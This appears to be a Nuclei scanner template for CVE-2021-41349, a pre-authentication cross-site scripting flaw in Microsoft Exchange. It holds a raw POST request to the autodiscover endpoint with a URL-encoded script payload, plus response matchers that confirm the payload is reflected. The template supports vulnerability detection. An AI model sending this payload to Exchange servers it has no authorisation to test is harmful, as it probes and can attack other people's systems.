id: CVE-2021-41349

info:
  name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
  author: rootxharsh,iamnoooob
  severity: medium
  description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://www.microsoft.com/en-us/download/details.aspx?id=103643
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41349
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-41349
    epss-score: 0.83718
    epss-percentile: 0.98113
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
  tags: cve,cve2021,xss,microsoft,exchange

http:
  - raw:
      - |
        POST /autodiscover/autodiscover.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain);'
          - 'a=""'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: word
        negative: true
        words:
          - "A potentially dangerous Request.Form value was detected from the client"

      - type: status
        status:
          - 500

# digest: 4b0a00483046022100a29dbd95bd9283a3e92470a8f8a8843de4ec5d6a1b0e002c605e1dc49552acb7022100d6193321e0929d0fca2d661a4ce3c6993c6925a0130dd7b2f3f08a051f934daf:922c64590222798bb761d5b6d8e72950